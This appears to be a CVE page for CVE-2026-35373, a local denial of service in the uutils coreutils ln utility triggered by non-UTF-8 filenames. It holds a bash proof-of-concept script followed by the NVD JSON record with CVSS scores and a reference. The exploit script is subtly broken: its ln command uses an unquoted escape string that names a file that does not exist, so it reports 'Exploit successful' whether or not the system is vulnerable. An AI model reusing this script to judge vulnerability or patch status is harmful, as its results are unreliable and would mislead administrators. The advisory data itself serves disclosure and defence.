CVE-2026-35373

#!/bin/bash # PoC for CVE-2026-35373: uutils coreutils ln utility DoS # This script demonstrates creating a file with non-UTF-8 bytes # and attempting to use the uutils ln utility in target-directory mode. # Create a temporary directory for testing TEST_DIR=$(mktemp -d) cd "$TEST_DIR" # Create a file with a non-UTF-8 byte sequence (e.g., 0xFF 0xFE) # This is a valid filename on Unix/Linux but invalid UTF-8 touch $'file\xff\xfe.txt' echo "Created file with non-UTF-8 bytes: file\xff\xfe.txt" # Create a target directory for the link operation mkdir target_dir # Attempt to use ln in target-directory form (SOURCE... DIRECTORY) # In vulnerable uutils versions, this will fail with a non-zero exit code echo "Attempting: ln file\xff\xfe.txt target_dir/" ln file\xff\xfe.txt target_dir/ # Check exit code if [ $? -ne 0 ]; then echo "[+] Exploit successful: ln command failed (DoS triggered)" else echo "[-] Exploit failed: ln command succeeded (likely patched or GNU coreutils)" fi # Cleanup cd / rm -rf "$TEST_DIR"

{"cve": {"id": "CVE-2026-35373", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:41.997", "lastModified": "2026-05-04T20:01:25.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic error in the ln utility of uutils coreutils causes the program to reject source paths containing non-UTF-8 filename bytes when using target-directory forms (e.g., ln SOURCE... DIRECTORY). While GNU ln treats filenames as raw bytes and creates the links correctly, the uutils implementation enforces UTF-8 encoding, resulting in a failure to stat the file and a non-zero exit code. In environments where automated scripts or system tasks process valid but non-UTF-8 filenames common on Unix filesystems, this divergence causes the utility to fail, leading to a local denial of service for those specific operations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-176"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/pull/11403", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}